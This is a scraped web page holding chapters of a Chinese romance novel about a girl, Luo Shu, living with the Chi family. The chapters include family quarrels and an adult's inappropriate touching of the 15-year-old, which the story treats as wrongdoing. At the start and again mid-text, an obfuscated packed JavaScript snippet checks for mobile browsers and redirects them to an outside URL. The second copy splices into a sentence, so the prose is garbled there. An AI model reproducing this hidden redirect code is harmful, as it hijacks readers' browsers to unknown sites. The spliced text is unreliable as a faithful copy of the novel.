;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正盯着战况，肩膀冷不丁被人碰了下，洛姝吓得一个激灵，生怕雪球突脸，下意识闭上眼睛，拿两只手紧紧捂住脸。 耳边传来很轻的笑，紧接着是熟悉的声音：“睁眼。” “我不。”洛姝松了口气，还是说：“你要是砸我脸上怎么办？”她这么说着，还是露出指缝，眯着眼睛看他。 池煜两只手都揣在口袋里，注视着她冻得通红的手，把手伸出来递给她，“手给我。” “我手很冰。”洛姝没动。 “我知道。”池煜拉着她两只手放在自己手心，“这样就不冰了。” “你怎么知道我在这里？”洛姝扭头朝广场看，说话的工夫，苏望月已经跑远了，广场上是赵慕挽被不知道打哪儿来的雪球砸到了后背。 “能看见你的帽子。”池煜说。 洛姝动了动渐渐有些知觉的手指，开始找梁诺诺，自从开始打雪仗两人就分开了：“你看见诺诺没有？” “没。” 广场上又空出来了，洛姝不再盯着看，转脸去看池煜的手：“你的手像火炉。” 池煜又把她的手拢紧了点；“是你的手太冷了。” 话音刚落，洛姝被狠狠地砸了一下后背，惯性下，蹲在地踮起的脚尖没能稳住身子，直接跪坐在地。 她懵了片刻，赶紧偏头看去，许玥的笑声很愉悦，大声道：“原来你们躲在这啊。”说着，又抄起手边的雪球砸过去，“看招！” 洛姝还没能反应过来，人已经被池煜单手往怀里搂，那只手也盖住了她的脸，而后，就听见他说：“低头。” 她也下意识抽回一只手贴上池煜的脸，生怕那枚雪球正中他面前。 嘭！ 雪球砸在洛姝的后背以及池煜搂着她的手臂上，雪团散开，掉落在地，洛姝立刻站起身拉着他就跑。 身后，许玥追上去，深呼吸：“哇，你们兄妹真是——” “许玥姐。” 梁诺诺不知从哪里跑出来，怀里抱着好几个雪球通通砸向许玥，边笑边说：“寒冰射手来咯！” “天啊。”许玥被砸得踉跄了几步，忙找地方躲：“诺诺，你竟然捏了这么多。” 她也不甘示弱，低着头开始捏雪球，就在第三个雪球抱在怀里的时候，池煜站在她不远处，喊了声：“许玥。” 许玥一怔，下意识抬头，先看见了池煜那双漂亮却没有任何笑容的眼睛，紧接着就见他勾起一抹似有似无的笑，扬起手：“接好。” 他话音未落，一团松散的雪扑面而来，纯白的一团，许玥反应不及，冰凉的雪已经砸到脸上，力道不重，所以没有任何疼痛，比起她扔过去的力道要小上许多。 等到她擦掉眼前的碎雪，洛姝已经拉着池煜跑远，雪地里一大一小的脚印渐渐远去，一眨眼，人也瞧不见了。 28. 10 步入四月，浔城才算真正进入到春天。 洛姝久违地见到了洛亦祥，接近大半年没见的中年男人在短暂地和她聊了聊日常生活后，直奔主题，“我听你康阿姨说你的成绩非常稳定，一直稳定在年级前几。中考加把劲，超常发挥的话，应该会取得一个不错的成绩。” 洛姝听他这样说，瞬间如同倒了胃口一般。 什么叫她超常发挥才能取得一个不错的成绩？ 她最终还是没忍住，语气不大好：“你瞧不起谁？” “好好，是爸爸用词不当。”洛亦祥赔着笑：“我的意思是想送你去外面上学。” 傍晚的风吹在身上没有丝毫凉意，洛姝警惕起来，“外面？” “嗯，爸爸觉得市一中的师资力量还是比不过覃城……” “你什么意思？”洛姝没什么表情。 洛亦祥一愣，没想到从前古灵精怪，事事都会撒娇的女儿会说出这样的话，露出这样的神情。 难道这就是所谓的叛逆期？ 他讪笑，耐下心来：“爸爸就是想给你送去更好的地方读书，毕竟你的成绩还不错。” 洛姝转身就走：“我不去。” “洛洛。”洛亦祥无奈地喊了声，见女儿不应，继续往前走，不由得恼火，准备斥责两句，突然看见从家里走出来的池煜。 少年穿着浅色的牛仔外套，白T恤黑裤子，很简单的穿着却因为长得实在是过于出色，让人不由得多看几眼。 他朝自己颔首，脸上不见笑意，在低头看着洛姝的时候，面部表情略生动了一些，勾起的唇角也只是一瞬，很快放下。 “小煜啊。” 印象里的池煜一直都是这样，洛亦祥没在意他不冷不热的态度，快步走上前，扬了扬下巴看着已经进了客厅的洛姝：“洛洛是不是叛逆期到了？” 池煜站在高他两级的台阶上，垂着眼，无声地扯了一下唇角，“她平时特别乖。会抢着做家务，从来没有闹过脾气，我爸妈一直夸她听话懂事，你说的叛逆期我没明白。” “啊？噢……是吗？” 这和洛亦祥印象里的那个女儿完全不一样，娇纵任□□撒娇，古灵精怪，爱哭，娇气，这些词不是该从洛姝身上听到的吗。 乖巧听话这个词，作为亲生父亲却是不能认同的。毕竟以前洛姝在家的时候，谢玫与他都把女儿惯地无法无天，一句重话都没说过，家务活也都是有保洁阿姨和保姆在，她从来没沾手过。 洛亦祥想为自己辩白几句，有些语无伦次：“在你们家到底是不一样的，她——” 说到这里突然就明晰了答案。 不需要池煜解释，他懂了为什么洛姝会来这里抢着做家务，变得乖巧懂事，只是因为寄人篱下，不得已才这样。 他笑了笑，对面前气场有些强的少年说：“是我这个当父亲的太不称职了。” “您这几年不就来看她两回么，这是第二回。”池煜很浅地笑了下：“她就算是有情绪，您也该体谅。” 他话里话外都是对洛姝维护的意思，洛亦祥一愣，随即笑得牵强：“是，是这么个理。她不想看见我也正常，我就先走了，让她安心备考吧。” 池煜站在门口没有动的意思：“我送您。” 洛亦祥忙道：“不用送，不用送。”说完就走了，洛姝在二楼窗边看着他的背影，嘭地关上了窗。 * 四月底，洛姝一模考完的时候，池煜的月考成绩也已经被班主任发在了家长群里。 饭桌上，池升和蒋春燕挨得很近，先跳过各科分数，最先落到了年级排名上。 “怎么掉到第四去了？”蒋春燕皱着眉，又去看他的单科分数，看到数学分数后，语气逐渐不好：“这次试卷很难？数学为什么才考142？” 池升凝着眉：“是题太难了吗，平时没考过这么低。在你排名靠后的同学数学都比你高。” 夫妻俩继续研究分数，没听见儿子答话，蒋春燕终于舍得抬头，音量不自觉加大，语气也添了几分不耐：“池煜，爸爸妈妈问你话呢！” 池煜说：“有道题写错了。” 池升推了下眼镜：“八分的题？” 池煜点了下头。 “一分都没有拿到？”蒋春燕的分贝更大了，追根问底：“是粗心大意还是不会写？” 蒋春燕自问自答，“肯定是粗心大意了。” 对比起父母的惊愕，池煜的表现十分淡然：“不会写。” 气压陡然变低，蒋春燕短暂闭嘴后，怒火酝酿完毕，筷子“啪”地砸在桌上，直接把正对面的洛姝吓得一个激灵，不敢再继续动筷。 “不会写？不会写还说得这么理直气壮！平时怎么告诉你的，做题的时候一定要认真！你认真写了吗，总是吊儿郎当的，念这个书，你是为我学的吗？” 说着，又忍着火气转头看向丈夫：“周末两天假在家闲着，不如给他报个补习班，天天在家看见他不学习我也头疼。” 池升劝道：“高中学习很紧，再报补习班孩子哪里能受得住。” 蒋春燕深吸一口气，厉声道：“学习很紧怎么没见他好好学！粗心失分我能理解，怎么可以不会写？你不给他报班，之后要是掉到年级倒数，你别说我没管教好！” 池升好脾气地说：“总要看试卷难易。” “那别人怎么就能考148，考150？”蒋春燕不买账，瞪着池煜，质问：“该怎么学，还用我们做父母的教吗？” “我吃好了。”池煜放下筷子直接走人。 蒋春燕腾地站起来，气得脸红脖子粗，手指着儿子高瘦的背影：“你看你现在像什么样子，一个不字都不给人说！” 她气急败坏地看着丈夫：“你看，现在是一个字都不能说了，以后岂不是要翻天了！” 池升赶紧给妻子拽着坐下，“好了好了，他没考好心里能高兴么？你也别生气了，等会儿去麻将馆打打牌什么的，去散散心，别总在家待着。” 说着，他看向大气不敢出的洛姝，给她使眼色：“洛洛吃好了吧？吃好了去楼上写作业，你快中考了。” “好。” 洛姝早就想溜了，得了这话在心里松口气，她端起碗，又拿起旁边池煜没怎么动筷的那碗饭一块放进厨房，逃似地上了楼。 瞥了眼池煜没关严实的房门，她快速闪回房间从书包里找出一张还未来得及写完的数学试卷，敲响了池煜的房门，谈进去半个脑袋：“哥，我能进来吗？” 池煜在喝水，透明的水液入喉，凸起的喉结来回滚动，面上并无任何仿佛刚才蒋春燕怒斥的另有其人。 看见洛姝，他勾起唇，轻轻颔首。 洛姝舒了口气，双手背在身后，跑到他面前，“我听诺诺说有家牛肉米粉可好吃了，我下单了，咱们尝尝？” “刚刚没吃饱？” 饭桌上那个氛围确实吃不下，洛姝一本正经道：“就是惦记着米粉才没吃多少。” 池煜笑了下，洛姝看见他露出笑容，试探着问：“刚刚阿姨肯定是气急了才这样说的，你别放在心上。” “嗯。” 母子关系这么多年，蒋春燕的性格池煜再清楚不过，他低低应了声，没多说。 洛姝又问：“不生气了吧？” “哪有这么容易生气啊？”池煜笑着摸了摸她的头发。 洛姝这才拿出身后的试卷摊平放在桌子上，随手指了一题：“正好我有题不会写，哥，你教教我呗？” “我要是也不会怎么办。”池煜嘴上这么说着，目光已经落在她指着的那题。 “才不信。” 洛姝坐在他旁边，单手撑着脸：“我们班主任总是拿你当例子激励我们，每天管我们这么严就是为了让班里出个中考状元，还说你是个好苗子呢。” 洛姝姝比了个加油的手势，“所以我们不要被外界的闲言碎语影响！” 而后，她慢吞吞说：“我们再努力一点，考去别的城市，离开这里。” “好。” 洛姝鼓起腮帮子：“你怎么不问我为什么呀？” 池煜轻声道：“因为我和你想法一样。” 都是想逃离这令人压抑的地方。 * 秉承着不蒸馒头争口气的坚定信念，所剩无几的初中生活被洛姝压榨地不剩一点儿娱乐时间，每天压缩了两小时的睡觉时间来刷题的结果就是—— 她正常发挥，中考以975.5分的成绩拿下浔城市中考总分第一名。 市一中和去年招池煜这个市状元的套路一样，三年学费全免，倒是奖学金在去年的基础上增加两万，洛姝挂断电话听池升提了一嘴才知道，洛亦祥是想送她出国。 池升坐在洛姝旁边，离得近了，细看才发现她稚嫩随着年纪增长褪去了很多，五官长开了些，尤其是那双眼睛，跟谢玫长得一模一样。 总是令他恍惚，像是真的看见了老朋友。 “洛洛想出国吗？” “不想。” 她话音刚落，洛亦祥一脸喜色地进了家门：“洛洛，恭喜你。”他展开双臂，想要去抱一抱这个自己忽略了很久但却很争气的女儿：“辛苦了这么久，苦尽甘来，超常发挥！” 可洛姝很不给面子，无动于衷，甚至连寒暄都没有，只是看了他一眼就移开目光，像是在看一个无关紧要的人。 洛亦祥在公司当领导当惯了，手下的员工对他从来都是毕恭毕敬笑脸相迎，乍一感受到女儿的冷淡，看到那张肖像前妻的脸，竟从心底生出一股恼火，但碍于在别人家里，不好发作。 池升轻咳一声，在洛姝肩膀上拍了拍，而后站起来：“你们父女俩先聊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375739|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我去厨房搭把手。阿升中午必须留下来吃饭啊！我让你嫂子多弄几个菜。” “诶，成。” 洛亦祥应下来，坐在洛姝边上，明知故问：“取得了这样的好成绩还不开心？” 洛姝说得直接：“我不出国。” 洛亦祥压低声音：“市一中没什么好。” “我靠自己考进去的就是最好的。” 洛亦祥立刻想到了那二十二万的奖学金，不屑道：“因为那点奖学金？那点奖学金还不够你一条手链——” 洛姝打断父亲的话：“不是。” 她还是那句话：“我不出国。” “爸爸知道你成绩好，出国也是可以接触到更广阔的世界呀，再说了你又不需要努力！” 洛姝直接无视他的话，忍着心里的不适，走出家门来到那颗香樟树下。上一次她就是在这里和洛亦祥起了冲突，这一次同样避免不了，甚至还会争吵。 洛亦祥追过来，说出没说完的话：“你是爸爸唯一的女儿，将来公司还不是——” “我不需要！” 洛姝胸口微微起伏，厉声质问：“你非要送我走的理由是什么？” 洛亦祥有一瞬间失声，而后才说：“爸爸说了，你应该多去外面看看。” “……” 突然就想到了去年在粱城看见洛亦祥别的女人亲密的样子，洛姝打定主意，终于开了口：“你既然把我送来这里，就别管我。” 洛亦祥扯了扯系地有些紧的领带，面上的微笑再维持不住，面带怒容：“你这什么话，我怎么能不管你？” 洛姝脸色同样不好看：“你管我的方式就是送我出国？你能不能别再乱管我的事情，真的很烦！” 从小养到大向来只会撒娇卖乖的女儿，第一次对自己恶语相向是什么感觉？ 洛亦祥先是一愣，接着便怒从心来抬起手，就在那巴掌要落到那张姣好白皙的脸庞时，下意识顿住了。 洛姝某些时候还是很倔的，比如现在，她梗着脖子，看起来确实被这扬起的巴掌伤了心，眼眶蓄了层泪水却高高仰着头不让泪掉下来。 除了洛亦祥和谢玫闹离婚的时候，那只朝她旋来的杯子，她从小到大从来没被爸妈动过一根手指头。 洛姝听见自己有些哽咽的声音，尽量压着心头不断泛起的酸涩，不让自己掉眼泪：“你先是要送我去外地，我说了不去。这次又不问我的意见就要送我出国，如果你说这是你的管教方式的话，我不接受。” 她久违地、十分冷淡地喊了声：“爸爸。” “我不回那套房子，不过问你的事，你和谁在一起我管不着也不会问！我完全不会干涉，这一点你放心。所以，也请你用我的态度，对待我。” * 洛姝的的话有了效果，洛亦祥再次联系她已经是大半年后，又一年的除夕夜。 苏望月再次在八人小群轰炸消息，一条三秒的语音，重复了三遍：“快来城西！有烟花秀！这里人特别多，特热闹！” 这两年市内禁放烟花爆竹，过年不放烟花实在是太没有年味儿了。 洛姝换好衣服，跟着池煜到汇合地点的时候，赵慕挽正跟着苏望月后面，嚷嚷着要放小烟花，苏望月不给，不由分说地用打火机点了一把仙女棒递给她：“太危险了，仙女棒多好看啊。喏，拿着！” 赵慕挽举着噼里啪啦的仙女棒：“……” 熙攘的人群里突然发出爆鸣声，下一瞬，“咻”地一声，天边陆续闪过许多漂亮的烟花，璀璨绚丽，异彩纷呈。 “快，抬头！”苏望月兴奋地大喊。 洛姝抬头的一瞬，耳朵嗡嗡作响，光能看见身边人说话，却听不清说了什么。 她慌忙伸手想去抓住身旁的池煜，却被涌动的人群挤到了一边，差点摔倒的时候，被一只手捞到了一边，带着她稳稳站好。 池煜的嘴巴在动，离她很近，漂亮的眼睛倒映着樱花色绚烂烟火，点缀在他浅色瞳孔里，很漂亮，也很生动。 洛姝努力辨认也听不见他在说什么，指了指自己的耳朵，正想说自己听不清的时候，池煜那双温热的掌心已经贴着她的耳朵，稍稍用力帮她捂住。 周遭的声音立刻变得沉闷，出现整齐大声的倒计时的声音，意味着零点过后，新的一年将要来临。 “三……” 有热恋的情侣见缝插针，在这一刻大声告白：“我爱你！” “二……” 就在这一刻，洛姝后背不知被谁撞了一下。 原本她和池煜面对面站着，因这一撞，直接栽进他怀里，阴差阳错成了拥抱。 “一……” 伴侣大声回应：“我们要永远在一起！” 撞的力道不小，洛姝和池煜这两颗强有力的心脏，咚咚咚地，仿佛在这一刻同频共振。 29. 11 转眼又到一年夏。 这一年是洛姝住进池家的第四年，蒋春燕仍旧会因为儿子的一举一动不合心意时，出言挖苦或斥责，再翻起旧账。 池升充当的角色永远是善解人意的那个，像现在这样：“这么计较做什么，为什么非要让他考到满分？这是高中，不是初中小学，试卷要看难易的。” 蒋春燕怒道：“我对他有高要求还不好？有压力才有动力啊。” “我跟你说不清楚。”池升同样带着愤怒。 蒋春燕声音尖锐：“什么意思，什么叫说不清楚？” “你别无理取闹！” …… 约莫是因为池煜不在家的原因，楼下的争吵还在继续，甚至变本加厉，成为夫妻间相互指责。 窗外是聒噪扰人清闲的蝉鸣，洛姝听着楼下夫妻俩争吵，如坐针毡。这让她想到了好几年前，谢玫和洛亦祥闹离婚时候的那段日子。 到了中午吃饭的时候，夫妻俩谁也不搭理对方，氛围很压抑，洛姝沉默地吃完了饭，又枯坐在客厅半小时后，对同样坐在沙发上的蒋春燕说：“蒋姨，我去上课了。” 蒋春燕回过神，抬头看了眼时间还没到十二点半：“去这么早？” 洛姝面不改色地点头：“有题目不会写。” 蒋春燕没再说什么：“嗯，去吧，路上看着点车……我送你去吧。” 洛姝下意识拒绝：“我自己去就好了。” “正好我去麻将馆。” 洛姝这才没推辞。 很不凑巧，麻将馆今天人很多，蒋春燕看了一阵便又返回了家。 坐在沙发上打了个盹的功夫，电视剧也到了尾声，她撑着有些倦意的脑袋朝卧室走，在准备开门的那一刻，听见了粗重的喘息声。 嫁为人妇多年的她，这暧昧的声响在床上意味着什么，她再清楚不过。 池升没有出门，车就停在车库，她看见的。 困意瞬间消失，蒋春燕僵硬地站在外面，然后猛地拉开了门，躺在床上，举着一张照片的池升迷蒙地看过来，显然想不到去麻将馆娱乐的妻子这一刻会返回。 他手中的动作立刻停下，着急忙慌地提上裤子的同时，忙将手中的照片往兜里塞。 没别的女人，蒋春燕面色稍霁，但随即眉头紧皱，她臃肿的身躯在这时候行动很是敏捷，三两步走到丈夫面前，一股难以言喻的气味扑鼻而来。 蒋春燕脸色难看到极致：“你在做什么？” 她的声音尖锐又刺耳，用尽力气攥紧池升的手腕：“拿出来！” 池升慌忙抽了几张纸巾攥在手里，紧张地看着她，下意识吞咽口水，被揭穿后不耐地甩开妻子的手：“闹什么！” 蒋春燕紧紧盯着他，一字一句：“我让你拿出来！” 池升不动，她立刻抬起手狠狠甩了丈夫一个耳光，然后粗鲁地从他裤子口袋里拽出那张只有身份证大小的三寸照片。 照片已经有些年头，漂亮的女人对着镜头在笑，笑容灿烂，很年轻，大概二十岁左右的模样。忽略眼下那颗不起眼的泪痣，让蒋春燕幻视寄住家多年的洛姝—— 她也遗传了这双漂亮的眼睛。 “哪儿来的谢玫照片？”蒋春燕气得浑身发抖，话说出来的时候牙关都打颤，她盯着池升这张从小看到大的脸，如今在岁月的沉淀下竟变得面目可憎，从推开门的那一刻起变得分外陌生。 打从娘胎就定好的婚事，从出生后记事起便听人提起她的未婚夫在城里上学，逢人便被冠上“池升未来老婆”的头衔，也因此从小就准备好了去当他的妻子。 后来如愿以偿和未婚夫结了婚，在心底认为他对待自己的感情会是一样的，要不然怎么会上完大学就和她结婚？ 直到看到今天这一幕，她自以为和丈夫齐心协力一条线的坚定想法被瓦解的彻底。 他心里有人！ 那个人是洛亦祥的前妻！ 那个人洛姝的亲生母亲！ “你从哪搞得照片？”蒋春燕死死攥着池升的衣领，明明看清了一切，还要咬牙切齿地质问：“你对着那张照片在做什么，说话啊！” 太荒唐了，自己的身边人枕边人心心念念的人竟然是他兄弟的前妻。 池升面如死灰，被扇了两巴掌也无动于衷，他突然嗤了声：“你都看到了还要我说什么？” 蒋春燕愣了一下，她接受不了一向对自己耐心的丈夫露出这种不耐烦的神色，整颗心都扑在丈夫儿子身上的她有一瞬间惶恐，取而代之的是更真切的愤怒：“这日子就不打算过了？” 池升顶着两脸的巴掌印，很冷漠：“随你。” 空气凝滞几秒。 儿子从小吃穿用度要比普通人家的孩子高出很多，她一向心高气傲，因池煜与洛姝一起长大，标配都是比着洛姝来的。 若是离婚，她自己必然养不起一双鞋高达五位数的池煜。 由奢入俭难。 打定主意，蒋春燕把手里的照片被她使劲揉乱，再展开已经看不清人脸，她还不满足，当着池升的面撕碎！ 如此还是不解气，她扯过床单枕头一股脑砸在池升身上，又从里间接了一盆冷水泼过去，做完这一切，心里的怨怼才稍稍消散。 她喘着粗气，尽量让自己的语气放平和。 “现在最重要的就是小煜高考，我不跟你计较，你好自为之。” * 下午五点半，天气阴沉像是随时会下雨。 池煜带伞了没？ 洛姝在脑中一闪而过这个想法，要是没带伞，等会他们在半路上会不会淋成落汤鸡？ 背上书包，她跟老师告别，脚步轻快地朝外走，只需要再走快点，就能再提前一点见到他。 池煜白天出门上课，中午不回家，每天只有傍晚和她一道回去的时候，才算一天里见到的第一面。 往常这个点太阳高悬天际，现在不仅风很大，天色也阴沉地要滴下雨来。洛姝扎着高高的马尾辫，不顾额前的刘海被风吹乱，远远看见他就露出一双清亮的笑眼。 “慢点跑。” 池煜就靠在单车旁，朝她的方向快走两步，从她背上接过书包，然后骑上单车：“要下雨了。” 他把外套丢给了洛姝，“穿上。” 洛姝利索地坐上单车后座，抱着外套：“我不冷。” 池煜侧目望过来：“避雨用。” 单车提速朝家回，洛姝整个人罩在宽大的外套里，不用轻嗅都能闻到那股清新干净的气息，是他身上好闻的味道。 她攥紧池煜T恤的衣角，眼前的景致匆匆，一晃眼就到了小区。 池煜把车推进小车库，正要锁车，天边突然炸开一道道轰隆隆的雷声。 光打雷却没有下雨的迹象，直行走两分钟就能回到池家，洛姝把外套递给池煜，抱紧了书包和他一块往回走，嘴上嘟囔着：“怎么光打雷不下雨呀——” 话音未落，一阵狂风携着豆大雨滴从天上砸下来，洛姝感受到头顶的凉意，忙抬起手遮了遮，池煜也已经把外套撑开盖在她头上，从她手里抱过书包，“跑！” 洛姝拿出跑五十米的速度跑到门口，胸口微微起伏，身后的门从内推开，蒋春燕的声音传来：“雨下得这么大。” 这场雨下得急，慢了半步跑到洛姝身旁的池煜在没有任何遮挡下，身上的白色短袖沾上了大片雨渍，很显眼，头发也被打湿了一大片，有一小撮头发上的雨水从眉尾滑落到脸侧。 手里拎着的浅黄书包却只沾到了几滴雨。 他的脸色一如平常一样淡然，饶是这样略显狼狈的时刻也没有表露别样的情绪。 洛姝看见他脸侧的雨水，赶紧从书包夹层里拿出面巾纸递给他，“这雨下得太大了。” 蒋春燕扫了眼顶着池煜外套，一滴雨都没有淋到的洛姝，脸色不大好看，狠狠瞪了眼儿子：“出门也不知道带把伞。” 池煜捏着面巾纸随手擦了下，进了玄关换鞋。 蒋春燕追在身后：“快去换衣服，别等到感冒了再耽误明天的课。” “嗯。” 听到儿子应声后，她拿起洛姝手里的牛仔外套直接去了卫生间，全程没有和洛姝说话，可以说是无视。 洛姝摸了摸鼻子，没太在意，只当蒋春燕是因为白天和池升吵了一架后心情不好。 晚饭是白米粥和几道清炒菜，蒋春燕喊两个孩子吃饭，然后自顾自吃起饭来。 平常饭点池升要是不在家，她保准要打电话过去，但今天一反常态。 池煜只是看了眼那个空着的位置，就低头吃饭了，洛姝知道，他自从初三因为教训季翔和蒋春燕大吵一架后，和母亲的关系势如水火，在家里变得越来越沉默，很多事情就算是察觉也不会主动开口说话，就像现在这样。 她也不会主动开口询问，毕竟蒋春燕也是因为那一次对她的态度有些不冷不淡，又加上今天白天和池升争吵，洛姝不会选择自讨没趣去触霉头。 三个人各怀心思吃完了晚饭，打这天晚上开始，池升就没回家吃过饭，以往他和蒋春燕起了争执也都是他先低头，夫妻俩从来是床头吵架床尾和，像这样好多天不回家的情况还是头一次。 洛姝心中纳罕，却没有时间去留心异样。 一直到暑期的尾声，她见到了池升。 近两个月没见，池升看起来神采奕奕，他打开门，一眼就瞧见了沙发上正在看电视的洛姝，展开笑容，来到了客厅：“在看电视呢。” 洛姝点 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她手心冒汗，腾地站起来，面上强装镇定地将目光落在楼梯口：“没，他说一会儿下来，我去看看他——” 步子刚迈开，手腕被人攥住，力道不重，可她慌得不行，完全想不到池升会拉住自己的手腕！ 下意识就去甩开，谁知那只手力道加重，池升的声音从背后传来：“不用找他，他等会儿就该下来了。” 说完这句话，他的手就松开了。 仿佛刚才发生的一切奇怪之处，都是洛姝的幻觉。 池升又开了口，甚至拍了拍身旁的沙发：“陪叔叔说说话吧，也好久没见你了。” 洛姝下意识想跑回楼上找池煜，但是池升这会儿语气又跟平常无异，他说得没错，等会儿池煜就会下楼。 家里不是只有他俩，还有池煜在，所以不用怕。 洛姝默默坐回去，却没有放松警惕。 池升打量她：“有两个月没见到洛洛了，好像比之前白了点。” “啊，是吗？” 洛姝看了下自己的手，漫不经心地回答：“没有吧。” “你本来就白。叔叔瞧着你更白了点。”池升说着，突然摸向她自己正在端详的手。 对比起男人的大手，少女的手细嫩娇小。 十五岁的年纪实在是太年轻了，可以说是稚嫩，他当年第一次见到谢玫的时候，她也才十八岁。 “你长得很像你妈妈，尤其是眼睛。” 话落，池升握着她纤细手腕，一手细细摸在她五指。 洛姝大脑嗡地一声，后背冒出冷汗，有什么在脑中炸开，迅速抽回手的同时，她被一只手拉到了身后，脑袋因为惯性撞到了坚硬的后背，嗅到了那股好闻的柠檬香。 池煜脸色阴沉，冷声质问：“你在做什么？” 池升站起来，他比池煜矮了半个头，仰起头看他，说出口的话被日漫中男主角的夸张台词淹没，只能看见嘴皮子动，解释了什么完全听不清。 池煜直接拔掉电视电源线，彻底安静下来，他偏头问洛姝：“还碰你哪里了？” 池升抢声回答，“你这孩子小题大做！我只是看一下。” “他摸我手。”洛姝细细地哭出声。 印象里始终对她和善的叔叔竟然做出这样一系列反常的举动，她实在接受不了。 她不由得一阵后怕，今晚若是连池煜都不在家，池升对她会不会就不只是摸手这么简单？ “你这丫头怎么撒谎呢？！” 池升腾地站起来，“我那是摸吗？我那是——” “我看见了。” 池煜打断他的狡辩。 池升怔了片刻，既然摊开了也不装了，破罐子破摔：“对，我就是摸了一下手又怎样，有什么好大惊小怪的？你这丫头也是太敏感，我又能对你做什么？你的吃穿用度哪一样不是我出的费用，你亲爸有我对你上心？” 看着池煜握紧的拳和冷漠的脸，想到他会散打，池升有些心虚，气势却不输，指着他：“怎么，难不成还想打我？别忘了你今天这一切都是我给的！我看你是反了天——” 话没说完，池煜的拳头已经挥了上去，他下手很重，池升偏开头堪堪躲过，却也被打到了下颌，很重很闷的一声。 哪有儿子打老子的？ 池升忍痛，抬起巴掌就要挥上去，却被池煜轻而易举地制住，他面子挂不住，勃然大怒：“我是你老子，你他妈看清楚，别像狗一样乱咬人！” “我管你是谁。” 池煜近乎是吼出来，脸色难看到极点：“再碰她一根手指头试试看！” 30. 12 “说说吧，怎么回事。” 蒋春燕只扫了眼池升肿起的下颌就移开目光，见池煜不说话，又问了一遍。 四个人坐在沙发上，呈现出死一样的寂静，无人愿意开口答话。 蒋春燕耐着性子，继续问：“这一次，总不能说是他该打吧？” 池煜陷在沙发里，手肘搭在膝盖上，白皙的指节有些破皮，他跟平时大不一样，身上的戾气很重，情绪很淡，声音冷漠：“不然呢。” “我问的是原因，你打他的原因！” 听不到准确答案，三个当事人又没人愿意开口，蒋春燕忍了又忍，她看向沉默的洛姝，克制住自己的分贝：“洛洛你说。” 洛姝握了握汗湿的掌心：对不起，是我——” “该说对不起的人不是你。” 池煜把她护在身后，看着坐在沙发上露出一脸窝囊相的池升：“道歉。” 池升不说话，池煜挥起拳头就要砸过去，被蒋春燕一巴掌扇在背脊上拦下来，吼道：“你疯了！他是你爸！” 池煜绷着脸，分贝同样增大：“让他道歉！” 场面史无前例的乱，洛姝吓得拉住池煜的手臂，池煜被母亲拽到沙发上，“闹够了没有！” 挨揍的池升怕自己再次吃到苦头，嚷嚷：“是我错了可以吗，我不该！” 蒋春燕目光如刀，重重喘着粗气，质问洛姝：“什么意思，这件事又和你有关？” 池煜语速很快：“和她没关系。” 虽然被护着的感觉很好，但是洛姝还是选择站出来，语气尽量显得平和恭顺：“这几年给叔叔阿姨带来了很多麻烦，很抱歉。” 她不想寄人篱下看人脸色过日子了，也不想让池煜夹在他父母中间为难。 洛姝的耳根红透了：“我会尽快搬出去，未来也会把这笔抚养的费用还清。” 蒋春燕气得呼吸不畅，胸口剧烈起伏。 好好的家为什么变得乌烟瘴气？ 她紧绷着脸，因洛姝提出要走竟松了一口气：“你不欠我们的，吃的用的全是你爸打的款，不用还。” 洛姝愣了愣，而后点了点头，逃似地跑上楼。 池煜落后几步，追到楼梯口的时候，身后蒋春燕疲惫的声音喊了他的名字：“池煜啊……” “初中的时候为了她打人，你被老师劝回家。如今快要高考了，这一次又是因为她，动手打你爸。下一次呢？” ——是不是要动手打我这个十月怀胎生你的母亲？ 池煜嗤了声，难得解释，“我不会无缘无故动手。” 连头都没回就上了楼。 客厅静默了几分钟，蒋春燕问沙发角落的丈夫：“你对洛姝做了什么？” 她同样不信儿子会无缘无故打池升，毕竟池煜重感情，从小就把洛姝当亲妹妹。这几年两次为她出手，就好像动了洛姝一根手指头就会触到他逆鳞一般。 池升说得不情不愿：“……碰到了她的手。” “你自己信吗？” 蒋春燕想到之前在卧室门口看到的那一幕，胃里一阵翻腾，等到反应过来，巴掌已经甩到了丈夫的脸上，怒骂：“猪狗不如的东西！” * 房门都来不及合上，洛姝抽噎着把此前带来的三只行李箱全都摊开在地上，衣柜所有衣服被一股脑地丢到床上后，她有些力竭蹲在地上，大颗大颗地掉眼泪。 今晚发生的像是梦一样，虚假又荒诞。 池煜就站在门外，看着她纤瘦的肩头背对着自己颤抖，最终还是敲响了门。 洛姝使劲擦了擦眼睛，若无其事转回头。 “怪我吗。” 他靠近，蹲下来把她拥进怀里，长指顺着她的发捋了捋，长长地叹息一声：“如果可以重来一次，或是百次千次，我的选择仍是如此。对不起。” 面对洛姝受到的一切不公平对待，他做不到袖手旁观或是草率解决。 从小接受的教育并非一眼不合就动手，练散打的目的是为了锻炼身体，也并非是为了用暴力待人。 可每次挥出的拳头，似乎成了唯一能保护她为她维权的方式。 洛姝拼命摇头，泪如断线的珠子：“我不怪你，我怎么会怪你。你是这里对我最好的人。” 这些年坚定地选择了她，站在她身后，无论如何都护着她的人，做什么她都不会有怨怼。 哭了一阵，眼泪流出来换得身心的畅快，洛姝仔细打量着池煜破皮的指节，给他用碘伏消毒，低声问：“你的手还疼吗？” “不疼。” “我要开始收拾东西了。”她说。 池煜应了声，“我帮你。” “不用。” 洛姝顶着通红的眼睛把他推出去：“我自己来吧。” 她怕再多和他独处片刻，内心角落的不舍就会占据整个胸腔，可她必须要走，不想因为任何人委曲求全，哪怕这个人是池煜。 